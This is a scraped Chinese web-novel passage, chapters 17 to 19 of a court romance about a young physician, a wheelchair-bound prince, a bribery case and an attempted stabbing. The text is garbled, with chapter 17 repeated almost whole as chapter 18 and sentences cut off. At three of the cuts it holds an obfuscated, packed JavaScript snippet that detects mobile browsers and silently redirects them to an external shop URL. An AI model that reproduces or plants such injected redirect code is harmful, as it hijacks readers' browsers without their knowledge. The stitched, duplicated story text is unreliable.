忽见他慢条斯理放下玉箸,然后,话茬就莫名地转到了她身上,“若你晚间需要单独回府,我可另派人护你周全。” 却不待华姝感谢这番善解人意,老夫人的火气再度被拱起:“你哪里能如此纵她?合该早些回来,好生休息。” “嗯,母亲所言极是。” 孝顺的镇南王爷,未有丝毫反驳。 一来二去,不可晚归之事,就这么被敲定。 当事人华姝,自始至终未来得及发表一句意见。 她窦疑丛生,后知后觉想起件事,抬眼探究地看向对面。 她晚归一事,又是哪位仁兄向老夫人告状的呢? 17. 第 17 章 菊花烂漫,霜染红枫,深秋有信,岁月轮转。 日子步入九月上旬,审查兵部尚书贪污一事,进入最后的紧要阶段。 金銮殿,早朝。 霍霆一袭金蟒绯色朝服,魁岸的身形泰然坐于轮椅,位列武官之首。 对面文官之列,刑部尚书:“启禀皇上,臣在兵部侍郎等人的协助下,反复核查,现确认右佥都御史沈之鹊大人的证词与实不符。” “沈大人谏言,前任兵部尚书司空震倒卖兵马,确有其事。只是沈大人所提供的账簿,实属伪造。” “这不可能!” 沈之鹊急忙跪到殿前,“臣所提交账簿,乃亲自从那马贩子手中所获,还望皇上明鉴。” 兵部侍郎孙诚,相继出列呈禀:“启奏皇上,臣前日已带手下抓获那马贩子。此人乃司空震同党,想必之前有意帮着掩盖罪行。” “幸好,真实账簿已被臣搜查出,亦是经过刑部和户部多方查证确认,还请皇上过目。” 随后,内侍监取走账簿,直达天听。 这账簿,正是萧成悄悄从尚书府顺走的那本,如假包换。 至于沈之鹊找到的那本,即为留下的赝品,所列账目半真半假。 昭文帝正襟危坐于龙椅上,将几份奏折的证词一一过目,再瞧沈之鹊时,已然龙颜不虞:“成事不足,败事有余。” 沈之鹊顿时后脊发凉,连连叩首:“皇上恕罪,皇上恕罪。臣日后再查取证物时,必当千倍万倍严谨,再不犯此等失误。” “沈之鹊,你担任右佥都御史多年无长进,实在难堪大任。”昭文帝沉脸道:“念在你此次检举尚有可取之处,姑且外派山西监察御史。你此行务必好生锤炼,严谨督查当地官员。” 沈之鹊面如死灰,本想凭借这政绩一飞冲天,结果却被贬为地方官了哟! 可皇命不可违,他只能叩谢隆恩,颤颤巍巍地归列。 文武百官见此,无不唏嘘。 搜证本应交由刑部,他一个言官好大喜功,非要掺和查证,如今真是贪心不足蛇吞象。 霍霆觑了眼痛心疾首的沈之鹊,淡淡收回目光。 “至于司空震,胆敢倒卖战马,罪不可恕!”昭文帝再度下旨:“即日起流放岭南,永生不得释放。” “臣谨遵圣意,定对司空震严惩不贷。”刑部尚书归列。 兵部侍郎孙诚没走,“皇上,微臣先前只是暂代兵部尚书一职。如今此事已了,日后该由何人主理兵部诸事?” 昭文帝看向下方,“诸位爱卿有何见解?” 兵部尚书乃当朝正三品大员,实属要职。 能堪大任者凤毛麟角,有资格谈论此事的官员更少之又有少。 文武百官不敢轻易冒头,一时间,金銮殿鸦雀无声。 眼看事情陷入僵局,立于御案前的一人,欣然开口:“奴才拙见,镇南王少年即中进士,如今更擅调兵遣将,实为不二人选。” 东厂督公,裴夙。 自幼与圣上相伴左右,如今执掌上千名东厂番子,身着绛紫色的飞鱼服,护卫天子左右。 三十又一的他,平日保养得当,玉姿欣长。 拧断人脖子时,一双清润的月亮眼仍笑眯眯的,不见皱纹。 “咳咳……” 金銮殿上,响起一阵突兀又急促的咳嗽声。 霍霆拱手告罪,“臣这重伤未愈,着实有心无力,还请皇上恕罪。” 他这时接受兵部尚书,不仅容易暴露对当年之事的追查,还愈发功高震主。 裴夙作为天子近臣,这提议里几分真意,几分试探,在场众人皆是心知肚明。 他本人则状若无事,又笑眯眯道:“本督倒是略有诊脉的经验,不若为王爷瞧上一瞧?” 两人的目光,在半空骤然相对。 一道含笑隐刃,一道凛冽肃伐。 刹那交汇而离,又仿佛刀光剑影千万回合。 “督公平日只为皇上诊脉,本王不敢劳驾,还是下朝后去医馆罢。” 霍霆淡声回绝,转头看向霍雲,“恰好长兄这次负责安置三军,义诊的医馆颇多,不知哪位大夫好些?” 霍雲收到信号,随即出列。 该轮到他上场了。 “大夫都是好大夫,只是药材跟不上哟。” “皇上,前任兵部尚书曾言,并无银两安置将士。以致这半月来,医馆义诊日日捉襟见肘,微臣夜夜辗转难眠啊……” 霍雲长吁短叹,愁容满面,就差捶胸顿足了。 说到最后,“如今这查抄赃款所获,可否稍加分配呀?” 刚刚面露同情的百官:“……” 嚯,合着哭穷要钱来了?! 昭文帝瞧瞧病恹恹的霍霆,再看看苦大仇深的霍雲,最后与裴夙对视一眼。 呵,原来是在这等着呢。 综合考虑大局,为稳定军心,昭文帝最终批拨白银万两,用以将士安置。并由孙诚继续代理兵部诸事,辅助户部尚书下发此笔款项。 但也半开玩笑,半似敲打地看向霍霆两人,“你们还真是‘兄弟同心,其利断金’呐!” * 下朝后,御书房。 “初安,你瞧着这镇南王的双腿,可还有治愈的可能?”昭文帝边用早膳,边随口问道。 裴夙被恩赐同桌而食,但大多时都在为昭文帝布菜。 “先前派去数位太医,皆言那双腿久无知觉,药石罔治。不过,陛下既如此看重,奴才这就再派人去探访名医,想法子。” 一双笑眯眯的月牙眼,瞳仁深处,暗芒重重。 出宫的路上,烈日当头,裴夙撑着一柄遮阳伞悠然前行,伞面上水墨画仙鹤展翅,栩栩如生。 “上次约见小姝,是几月来着?” “回督主,还是阳春三月呢。”心腹容城低声道:“如今时值九月,也有半年的光景了。” “九九重阳节,正是登高时。”裴夙眼前浮出一双灵巧用银针的玉手,眸光乍暖而玩味:“这次,就安排在皇龙寺。” “皇龙寺乃皇家寺院,华姑娘要去的话,得执一封有分量的拜帖……”容城反应过来:“您是要对镇南王出手?” 寒风乍起,御花园一片的红枫叶,随风而落。 裴夙轻笑着,将其碾得粉碎。 不是他,是昭文帝。 霍霆如今在军中与民间,声望皆是颇高,是一柄双刃剑。昭文帝作为持剑人,必须要知其底细,足够驾驭。 皇帝卧榻之下,岂容猛虎酣睡? * 下午过半,回春堂内的将士,依旧络绎不绝。 很多人甚至舍近求远,只为一睹女神医仙姿。更有人热情地一再送糕点糖果,但都被华姝委拒。 趁空隙,霍千羽调侃道:“唉,郎本将心向明月,奈何明月照沟渠……唔。” 华姝捻起白糖糕,堵住她叭叭的小嘴。 “两位小姐原是喜好白糖糕,在下这里正好备着些,可好吃了。”下一位看诊的士兵,瞅准机会,又要极力攀谈。 被婉拒后,他也不气馁,献宝似的道:“皇龙寺的神医圆妙大师,近日云游归来。传闻他可起死人,肉白骨。” 士兵看向霍千羽的腿,“您何不去一试?” 这的确是个好消息。 霍千羽的腿疾,多年遍寻名医不得治,华姝早就想带她前去瞧瞧。只是圆妙大师常年云游,且寻常人也进不去那皇家寺院。 “今时不同往日呀!”霍千羽眼前一亮:“咱可以请四叔写封拜帖。” 华姝笑意微滞。 自打那晚后,两人已有数日未见。有意捅破那层窗户纸的是他,早出晚归寻不见人的也是他。 以至于筹集的银钱,想送却送不出去。 华姝没再去周莲那,最后的诊金没拿到,她就典当了首饰,加上多年积攒,凑够两千两。 一千两偿还血燕,一千两淘换珍稀药材,为霍霆清除余毒。 等他痊愈,就会回到东南边境。 届时,两人的关系就渐渐淡了,两厢清净…… “姝儿,姝儿?”霍千羽在她眼前挥挥手,“想啥呢?” 华姝回神:“哦我在想,可以请圆妙大师为四叔一同看看腿伤。” “有道理!” “可是最近都不见四叔身影啊,别回头圆妙大师又去云游了。” 霍千羽先是愁眉紧锁,转而双手合十,对天祈祷: “佛祖保佑,圆妙大师暂时不走。” “太上老君保佑,圆妙大师有灵丹妙药。” “天灵灵,地灵灵,战神四叔快显灵!” “请您速速现身,普度人间……” “噗哧。” 华姝瞧着她神神叨叨的样子,单手托腮莞尔:“我忽然想起话本子里,有个召唤人的法子。” “哪个?” “拿一开口的葫芦,对着四叔所在的方向,喊一句,”华姝另一纤手灵动比划道:“我叫你一声,你敢答应吗?” “有何不敢?” 背后,忽传来一道熟悉的肃然沉声。 “……?” “……!” 俩小姐妹顿时呆若木鸡,小心翼翼朝后瞥去。 窗外街边,等会看诊的上千将士,早已抱拳跪地,均朝同一处行礼。 那处,霍霆着一袭绣有日月山河纹的绯色蟒袍,俨然如层峦叠嶂般,巍峨而坐,自带强悍威压。 霍千羽眨巴眨巴眼:“好家伙,四叔还真显灵了……” “……见过四叔。” 华姝则耳垂被臊得滴血,慢吞吞转过身,规矩行礼。 一共就在背后议论他两次,结果次次都被听个正着。这倒霉的气运,她真该去庙里拜拜。 霍霆定睛瞧着这俩胆大包天的小家伙,脸色是领兵时的肃然,眸光则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两人对坐在方桌前,诊脉结束后,华姝收回手,“毒素积压已久。如今的药方,尚能压制您体内余毒,只是于清除毒素已无益。” “这毒刁钻。”霍霆也收回手,并未意外道:“军医已研究出法子,那药材难寻些。” 华姝点点头,想来军医是外出寻药了。 默了默,她提及皇龙寺的圆妙大师一事。 “原是因此事,才想起念叨我啊。”霍霆叹了口气,兀自饮茶。对拜帖的事,不置可否。 华姝赧颜,这般听起来,她似显得忘恩负义了些。 为着拜帖,她咬了咬唇,细声解释:“其实,我这几日也琢磨出一副药方。待圆妙大师为您诊脉后,想拿与他一并把把关。” 霍霆放下青瓷茶盏,“既非临时起念,恒心可嘉,倒也能全你这番美意。” “多谢王爷,我……” 对上男人意味深深的目光,华姝脸颊忽地一热,鲜艳欲滴。 他莫不是误会了吧,误会她日日都念着他。 她的话,好像还真有层意思。 可她又不是这意思。 华姝唇瓣开开阖阖,百口莫辩。慌忙低头假装喝茶,心跳凌乱。 霍霆饶有兴致瞧了她会,“如今安置费已宽裕,你大伯父会另招坐诊大夫。你俩连日辛劳,早些回府歇着吧。” “这是好事,可喜可贺。不过我手头有几位病患,已疗程过半。可否等他们彻底痊愈,我再结束这边的差事?” “你愿善始善终,实为好品行,也是他们的幸事。但那宋煜,已被他父亲户部尚书保释出来。” 霍霆道:“你留在这,我……和你祖母都不放心。” 华姝脸颊又一红,这人又来拿祖母压她。 但对于宋煜入狱一事,倒颇为意外。 原来霍霆在背后,还为她默默做了此事。 不好拂了他的良苦用心,华姝乖乖应下:“我明白了,多谢王爷。那我等会就去将脉案稍加整理,移交给其他大夫。” 回家后,正好专心为他解毒。 早日了结山中恩怨。 这时,长缨在门外禀告:“王爷,兵部侍郎孙大人前来巡查。得知您在此处,想邀您小酌一杯。” 此为暗语。 孙诚实为霍霆的人,如今代管兵部,查抄前兵部尚书司空震的府邸。 应是搜到当年华家灭门的线索,特来密告。 霍霆:“知道了,你且去烫壶好酒。” “是。”长缨退下。 华姝也识趣地起身告辞,临出门前,她犹豫着还是顿住脚步,善意提醒:“王爷如今身体抱恙,还是少饮酒为好。” 闻言,霍霆低笑了声。 华姝面露不解。 就见他微挑眉梢,“怎么,现在就开始管着我了?” 18. 第 18 章 下午过半,回春堂内的将士,依旧络绎不绝。 很多人甚至舍近求远,只为一睹女神医仙姿。更有人热情地一再送糕点糖果,但都被华姝委拒。 趁空隙,霍千羽调侃道:“唉,郎本将心向明月,奈何明月照沟渠……唔。” 华姝捻起白糖糕,堵住她叭叭的小嘴。 “两位小姐原是喜好白糖糕,在下这里正好备着些,可好吃了。”下一位看诊的士兵,瞅准机会,又要极力攀谈。 被婉拒后,他也不气馁,献宝似的道:“皇龙寺的神医圆妙大师,近日云游归来。传闻他可起死人,肉白骨。” 士兵看向霍千羽的腿,“您何不去一试?” 这的确是个好消息。 霍千羽的腿疾,多年遍寻名医不得治,华姝早就想带她前去瞧瞧。只是圆妙大师常年云游,且寻常人也进不去那皇家寺院。 “今时不同往日呀!”霍千羽眼前一亮:“咱可以请四叔写封拜帖。” 华姝笑意微滞。 自打那晚后,两人已有数日未见。以至于筹集的银钱,想送却送不出去。 给花魁周莲的诊治进入尾声,因疗效得当,周莲欢喜地赠与一副镶金的红宝石芙蓉头面,甚是金贵华美。 华姝命半夏去典当了这副头面,加上多年积攒,已凑够两千两。 一千两偿还血燕,一千两淘换珍稀药材,为霍霆清除余毒。 等他痊愈,两人就能彻底划清界限…… “姝儿,姝儿?”霍千羽在她眼前挥挥手,“想啥呢?” 华姝回神:“哦,我在想,可以请圆妙大师为四叔一同看看腿伤。” “有道理!” “可是最近都不见四叔身影啊,别回头圆妙大师又去云游了。” 霍千羽先是愁眉紧锁,转而双手合十,对天祈祷: “佛祖保佑,圆妙大师暂时不走。” “太上老君保佑,圆妙大师有灵丹妙药。” “天灵灵,地灵灵,战神四叔快显灵!” “请您速速现身,普度人间……” “噗哧。” 华姝瞧着她神神叨叨的样子,单手托腮莞尔:“我忽然想起话本子里,有个召唤人的法子。” “哪个?” “拿一开口的葫芦,对着四叔所在的方向,喊一句,”华姝另一纤手灵动比划道:“我叫你一声,你敢答应吗?” “有何不敢?” 背后,忽传来一道熟悉的肃然沉声。 “……?” “……!” 俩小姐妹顿时呆若木鸡,小心翼翼朝后瞥去。 窗外街边,等会看诊的上千将士,早已抱拳跪地,均朝同一处行礼。 那处,霍霆着一袭绣有日月山河纹的绯色蟒袍,俨然如层峦叠嶂般,巍峨而坐,自带强悍威压。 霍千羽眨巴眨巴眼:“好家伙,四叔还真显灵了……” “……见过四叔。” 华姝则耳垂被臊得滴血,慢吞吞转过身,规矩行礼。 一共就在背后议论他两次,结果次次都被听个正着。这倒霉的气运,她真该去庙里拜拜。 霍霆定睛瞧着这俩胆大包天的小家伙,脸色是领兵时的肃然,眸光则浮着一层浅浅的柔色。 他还不至于真跟俩孩子计较,尤其今日朝廷上心愿大成。 但瞥见那脸红垂头的少女,又罕见生出一丝计较心思,想戳一戳这只缩头小乌龟的壳。 古人亦有龟甲卜卦的法子,也不知真能灵验否。 “免礼,下不为例。” 霍霆挥手命众人起身,而后由长缨推着,莅临回春堂正门。 他此行没带糕点吃食,但带来两大箱银裸子。四侍卫抬着放到地上,“哐哐”两声震响,振奋人心。 “将军威武!” “我等誓死追随将军!” “保卫大昭!护佑百姓!” 将士们再度齐声拜谢。 回春堂的胖老板亦然:“多谢王爷!多谢王爷!草民这就去购买最对症的药材,绝不叫将士们寒心。” “坐诊大夫的酬劳,也一并按日结算。”霍霆发话。 胖老板感动不矣:“王爷英明。” 出来相迎的坐诊大夫们,也纷纷喜上眉梢。 一时间,回春堂内欢声笑语,经久不散。 唯独华姝,钦佩欢喜之余,杏眸怔然看去。 他这是在变相帮衬她吗? 霍霆回看过来,“军医近日告假,过来给我瞧瞧。” 华姝脸色微变:“可是那……”毒压制不住了? 霍霆:“进去说。” 胖老板已麻溜推开一清雅幽静的内间,“王爷这边请。” 见状,华姝忙去收拾银针和手枕等物。 临进门时,半夏被长缨拦在门外,欲言又止:“姑娘?” 那晚叔侄两人的亲密,半夏已远远察觉,她这会实在不放心。 “没事,我有分寸。”华姝拍拍她手,走进去。 长缨随即关紧房门,“放心吧,有些事你不懂。” 他现在可不是被蒙在鼓里的二傻子了。 半夏白了这傻子一眼,好像那晚就他瞧见似的…… * 内间窗户朝向后院,清净而敞亮,空气中飘散着淡淡的药香。 两人对坐在方桌前,诊脉结束后,华姝收回手,“毒素积压已久。如今的药方,尚能压制您体内余毒,只是于清除毒素已无益。” “这毒刁钻。”霍霆也收回手,并未意外道:“军医已研究出法子,那药材难寻些。” 华姝点点头,想来军医是外出寻药了。 默了默,她提及皇龙寺的圆妙大师一事。 “原是因此事,才想起念叨我啊。”霍霆叹了口气,兀自饮茶。对拜帖的事,不置可否。 华姝赧颜,这般听起来,她似显得忘恩负义了些。 为着拜帖,她咬了咬唇,细声解释:“其实,我这几日也琢磨出一副药方。待圆妙大师为您诊脉后,想拿与他一并把把关。” 霍霆放下青瓷茶盏,“既非临时起念,恒心可嘉,倒也能全你这番美意。” “多谢王爷,我……” 对上男人意味深深的目光,华姝脸颊忽地一热,鲜艳欲滴。 他莫不是误会了吧,误会她日日都念着他。 她的话,好像还真有层意思。 可她又不是这意思。 华姝唇瓣开开阖阖,百口莫辩。慌忙低头假装喝茶,心跳凌乱。 霍霆饶有兴致瞧了她会,“如今安置费已宽裕,你大伯父会另招坐诊大夫。你俩连日辛劳,早些回府歇着吧。” “这是好事,可喜可贺。不过我手头有几位病患,已疗程过半。可否等他们彻底痊愈,我再结束这边的差事?” 华姝思及周莲的病情,还得去看诊一两次,遂柔声打起商量。 “你愿善始善终,实为好品行,也是他们的幸事。”霍霆道:“但你已连日辛劳,再留在这,我……和你祖母都很挂念。” 华姝脸颊又一红,“那我再留最后两日,行不行?” 她解释道:“将脉案稍加整理,移交给其他大夫。然后就回府去,专心为您解毒。” 也不知是哪句话打动了霍霆,只见他唇角微勾,点头应允。 华姝的唇角,也忍不住翘起一抹雀跃的小弧度:“多谢王爷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037343|145271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这时,长缨在门外禀告:“王爷,兵部侍郎孙大人前来巡查。得知您在此处,想邀您小酌一杯。” 此为暗语。 孙诚实为霍霆的人,如今代管兵部,查抄前兵部尚书司空震的府邸。 应是搜到当年华家灭门的线索,特来密告。 霍霆:“知道了,你且去烫壶好酒。” “是。”长缨退下。 华姝也识趣地起身告辞,临出门前,她犹豫着还是顿住脚步,善意提醒:“王爷如今身体抱恙,还是少饮酒为好。” 闻言,霍霆低笑了声。 华姝面露不解。 就见他微挑眉梢,“怎么,现在就开始管着我了?” 她怔怔地反映一瞬,然后脑中轰得一声,雪腮爆红,落荒而逃。 * 华姝从幽静的包间里,一路逃回人声鼎沸的医馆大堂。 斜映入窗的光影,跳动在她频频眨动的长睫上,羞涩渐渐褪去,取而代之的是隐隐不安。 自打霍霆回府后,她一直反复猜测他的态度。 先前数日,他言行举止皆是端方持重,虽对她照料颇多,亦可归为长辈的慈爱。 然而,今日这番话……他似乎从未打算放过她。 后面她去还钱两清,他会同意吗? “华姑娘,有个药方子得麻烦您过来帮我掌掌眼。” 胖老板将华姝叫到后院,避开霍千羽等人,悄悄告知:“那花魁的丫鬟来寻您,已将其带至那间厢房。” “多谢陈老板。”华姝感激他的周全,然后独自前往厢房,得知周莲晚上有客人,想请她今日早点过去看诊。 华姝略略思量,想到一个脱身的法子,隧答应下来:“那就,半个时辰后罢。” 送走那小丫鬟,她转身往大堂走。 途经那间雅致的包间,正逢长缨推开门,将满满一壶烧刀子酒端进去。 霍霆则兀自倒上一盏热茶,白雾冉升,茶香四溢。 “今日,本王可能要怠慢孙大人了,只能以茶代酒,与你小酌片刻。” 孙诚反应过来:“王爷伤势未愈,是下官考虑不周啊。” “也不全是,家里有人管。”霍霆轻笑道。 孙诚又反应一瞬,这镇南王早年一心保家卫国,迟迟未曾娶妻,据说连妾室、通房也没有过。 那这能管得住堂堂亲王的家人…… 孙诚会意一笑:“王爷当真孝顺啊。” 门外,华姝听懂了霍霆的弦外音后,已先一步背过身,匆匆退避。 但听完这位孙大人的回答,原本倍感忧惧的她,竟是神奇地笑出了声。 霍霆目送那抹倩影渐行渐远,直至长缨彻底关上门,才收回目光,亦是凤眸含笑。 * 随后,华姝与霍千羽提及刚刚在包间的谈话。 两人经商议,霍千羽提前回府歇着,顺便整理那几个士兵的脉案。 华姝则以去给霍霆买治伤药材为由,绕道去了周莲的家中。 殊不知,这会天还亮着,且她这次并非从回春堂后门悄悄前往,被守在暗处的萧成发现了,并一路跟去。 她更不知的是,一驾马车随后也停在周家门口,走进去一位锦袍公子。 与华姝才退亲的宋家大郎,宋煜。 “他怎么也来了?” “不会是想与嫂子重燃旧情吧?” 萧成再度急得抓耳挠腮,嫂夫人这护花使者可真不好当啊! “不行,你赶紧去告诉老大。” 上回已被霍霆迁怒的那属下,堂堂八尺大汉,急得差点哭出来:“萧将军,您这次能不能换个人呐?” 我害怕啊—— 19. 第 19 章 与此同时,回春堂的包间内。 兵部侍郎孙诚,压低声音道:“王爷交代给下官的差事,已有着落了。” 说着,他从贴身的衣襟里,掏出一纸油黄信封,双手递给过去,“此乃从司空震的密室里搜查所获。” 想到什么,他又连忙补充道:“信上之言,下官可对天担保,绝不会向外透露半字!” “用人不疑疑人不用,你我不必如此。” 霍霆泰然自若地接过密信,展开信纸。大致浏览后,神色陡然一沉。 原来,华姝父亲出事前,除了向霍霆求助,还曾向一位友人寻求帮助。 但那友人出卖了华不为。 将其行踪透露给司空震,两人为向那幕后之人谄媚邀功,一边秘密截杀霍霆,一边设计火烧华家满门。 而这友人,名曰冯紫山。 但现如今,他还有另一重身份—— 皇龙寺的神医,圆妙大师! 思及华姝先前才提及的话语,霍霆右手蓦地紧攥成拳,密信霎时褶皱成一团。 不算狭窄的包间内,原本喷香四溢的茶雾气,此刻冷凝至极点,侵袭着每一个角落,令人不寒而栗。 然而这时,经长缨通禀,萧成手下的那个倒霉脑袋,期期艾艾走进来。 瞧见霍霆脸黑如墨,那人越发欲哭无泪:“将、将军,属下有、有事禀告……” * 华姝也没想到,花魁周莲竟是宋煜私养的外室。 要知道,宋家大郎在外人眼中一向是端方君子,清廉为民。面前扶门而立的醉酒男子,她差点没认出。 半夏也嗤之以鼻,幸好自家姑娘退亲了。 周莲不知实情,只顾娇笑地上前搀扶宋煜。 病情大好,她迫不及待想挽回夫主的心,但未料到他今日来得这般早,只好对华姝道:“女神医,今日要不先到这?我家郎君难得回来一趟。” “那我们便不叨扰了。” 华姝乐得自在,起身就往外走。 怎知,宋煜酒酣思淫,“这神医竟是个小娘子,面纱取下来,给本公子瞧瞧。” “你放肆!”半夏拦着在中间,怒斥。 “一边去。” 宋煜不耐烦将她推搡开,旋即一把拽住华姝,扯下面纱。 见她秀美雪靥,他惊艳咂舌:“秀色掩今古,荷花羞玉颜。好一个尤物……等等,怎么如此眼熟?” “还请公子自重!”华姝羞愤难当,奋力挣扎。 宋煜酒醒几分,松开了手,华姝连连后退。 他则步步逼近,端详着她锦缎罗裙,熟悉俏脸,“医术、贵女……你是华姝?” 萧成隐在屋顶,迈出去的脚,又迟疑停住。 如今变成了旧爱相认,他的身份,没资格管呐。 老大怎么还没到啊? 屋檐下,“我是偷跑出来的,不愿被家人知晓,想必宋公子亦然。不若我们就当从未见过,此事一笔勾销,如何?” 发现宋煜不可告人的秘密,但又在他的地盘上,华姝不得不防。她先假意露出把柄示弱,又佯装镇静求和。 而撑在半夏胳膊上的纤手,还在颤抖。 “既窥得我秘密,你还想走?”宋煜冷笑:“来人呐,给我抓住她俩!” “是!”数名小厮当即将她俩包围。 华姝主仆警惕盯着他们,脸色唰白。 “女神医乃妾的救命恩人,还请郎君高抬贵手。”周莲上前好言相劝,却被宋煜一巴掌掀飞在地,“你给我滚开。” 华姝见状,脸色越发惨白。 惊惶间,她想起霍霆的叮嘱,“宋公子,我乃镇南王府中人,您当真要将事情做绝?” 此话一出,小厮们骤然僵住,“镇南王?” 周莲也惊诧:“可是那位率领七万大军,凯旋回京的镇南王?” 宋煜的酒意,更是彻底消散,满身冷汗。 该死!他先前多番嫌弃这华姝是个孤女,竟忘了她与镇南王的关系。 如今镇南王手握重兵,就连圣上都得给三分薄面,他更得罪不起。 但眼下已经得罪了,那就只能毁尸灭迹…… “是在下酒后失得,多谢华姑娘大度不计较,改日定登门道歉。”宋煜恭敬地拱手赔礼。 “宋公子言重了。”华姝信以为真,扶着半夏匆忙往外走。 怎知,转身刹那—— “女神医小心!” 周莲尖声提醒。 事发突然,华姝根本来不及反应,眼看匕首就刺入她心口,突然这时,一柄飞镖“咻”得凌空射来,径直打飞宋煜的匕首。 “是谁?” “谁干的?” “给我滚出来!” 宋煜主仆瞬变惊弓之鸟,转着圈慌张找人。 华姝三人也左顾右盼,奈何天色渐晚,视线昏暗。 屋顶高处,霍霆迎风矗立,玄色的宽袖锦袍猎猎飞舞,与夜色融为一体。 他脸色沉郁,在听到华姝那句“我乃镇南王府之人”后,稍有和缓。 霍霆漠然觑着脚下的人不断叫嚣,却没动。 他腿上痊愈的事,不宜暴露。暗中保护华姝一事,也不宜暴露给当年的幕后凶手,更避免她徒增紧张。 “你去,只说正好路过。” 萧成不解:“这可是英雄救美,老大不亲自去?” 霍霆不耐瞧他,一脚就踹下去。 “哎哎哎——” “哐!” 萧成摔个四仰八叉。 这冤枉气,加窝囊气,最终还是他来受了…… 为挽回面子,他一个鲤鱼打滚翻身而起,“砰砰”几拳将人全打倒在地。 然后若无其事地朝华姝打招呼:“咱又见面了哈。” “……嗯。” 华姝呆滞半晌,脸色稍有恢复,“萧将军何故在此?” “我正好路过,听着像您的声音,就进来瞧瞧。”萧成脸不红心不跳。 华姝敬他是位将军,一时不疑,连忙郑重福身,“多谢萧将军。” “使不得!使不得!” 萧成像被火烧屁股,跳脚躲开,“天色不早了,此处有我,您早些回府吧。”要不然老大又得揍他。 华姝环顾乌烟瘴气的小院,心有余悸,长睫犹颤:“有劳。” 走出两步,她又回身,轻声问:“萧将军,我既无事,可否别再叨扰王爷?” “这……要不您敲晕我?” “……” 宋煜盯着华姝远去,双眼阴鸷。 近日,兵部尚书贪污一事被揭发,连带其女贤妃被废。皇后重病多年,后宫无主,皇上已有意让他胞妹入宫主持大局。 待成为国舅,不论霍霆,还是华姝,他一个都不放过! 然后,不待宋煜做国舅爷,先被萧成扭送至顺天府的大牢。 * 华姝回到霍府,从偏门悄悄回到月桂居,连饮下数盏安神茶,才长长吁出一口浊气。 而后蔫蔫地倚在软塌上,无心用晚膳,一边点数现存的银钱,一边思量该如何应对霍霆。 认错是应当的,唯求他别告知祖母,别让老人家跟着担心。 不料,她转眼就被丫鬟捉住去了千竹堂。 灯火通明的主屋,圆桌上已摆满饭菜,都是她爱吃的。 只是某位老人家坐在软塌上,正生闷气呢。 华姝心虚不矣,环视一圈屋子,意外没瞧见霍霆的身影。 巧合么? 也对,萧将军应该没她回府快。 呼…… 华姝提着一路的心,悄然放平。 然后强打精神,低眉垂眼走上前,轻摇着老夫人衣袖,软糯糯地撒娇:“祖母,姝儿知错了,日后再不敢贪晚了。” “哼。”老夫人扭头不去瞧她,但也没拂开她手。 华姝勾起唇角,再接再厉:“祖母,咱先吃饭饭吧,好不好嘛……” “咳。” 身后的净室,忽传来一道熟悉的男性清咳。 正撒娇的华姝,哑愣一瞬。 紧接着,脸颊腾得蹿红,耳边直冒热气。 他、他何时来的呀? 秀气的小脸苦皱一团,窘样可爱极了。老夫人先被逗乐:“行吧,人已到齐,先用膳。” 屋内的仆从们也乐不可支,但碍于王爷在场,无人敢失礼。 桂嬷嬷憋笑去搀扶老夫人,其他丫鬟则抿嘴偷笑着忙活起来。 唯有华姝认命地松开老夫人衣袖,慢吞吞转过身,眼睫微垂,规矩福身行礼:“见过四叔。” 明亮烛台的光影,自高处洒落在她身上,桃粉罗裙染有柔和暖光,香腮也粉嫩嫩的。 嗓音低软,没了先前撒娇耍赖的肥胆儿。 但精神头,倒比霍霆预想中的好些,“先用膳。” 见他没发难,华姝彻底松口气。 乖巧点点头,红脸躲去净室梳洗,往脸上泼了好几捧冷水。 饭桌上,也只闷闷地蔫头吃饭。 本想喝碗热粥,奈何那只白玉雕花大碗摆在他手边,她咬咬唇没吭声。 霍霆全程看在眼里,轻扯嘴角:“给表姑娘换碗甜粥。” 丫鬟忙恭敬应是。 华姝抬头看去,霍霆也转眸看来,神色如常:“你腹饥太久,先喝热粥,暖胃。” 应是萧将军还未禀告吧。 华姝赧颜于他的细心,“多谢四叔。” 旁边,不明真相的老夫人,见此亲睦的情景,笑容颇为欣慰:“不错不错,见你们叔侄俩感情越来越好,我就放心了。” 叔:“……” 侄:“……” 随后,老夫人问及将士们的安置近况:“你大哥最近早出晚归,也没来得及问,那安置费可筹备齐全,是否需要家里再想想法子?” “此事儿子已有应对,母亲无需挂心。” 霍霆隐去错综复杂的权谋手段,只挑了两三个喜人消息,简洁应对。 不过,单是他从容不迫的语气,已足矣令人信服且安心:“那就好。你办事向来稳妥,为娘放心……” 华姝坐在旁边,边小口喝着甜粥,边安静听着,也由衷为将士们欢喜。 先前大伯父为此愁容惨淡,如今才过去几日,已被霍霆轻易破解。不得不钦佩,他的足智多谋。 米粥温度正好,香甜软糯,华姝不知不觉连喝几勺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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堂堂手握重兵的战神将军,不去处理国家大事,竟在这给她向祖母告状? 她眼神幽怨看去,他从容自若:“今晚还回月桂居吗?” “……回。” * 临近安寝时辰,霍府的庭院无人,偶有寒鸦飞过树梢。 清静的石子小路上,华姝还如上回那般,落后半步,跟在霍霆轮椅后面。长缨和半夏远远跟在最后。 只是今晚的心境,明显不同。 身前的男人亦是一路无言,唯有轮椅木轮下的石子“咿呀”不停。 偏她深知,他有话要说。心绪被勾着、吊着一路,似那木轮一般,上下起伏。 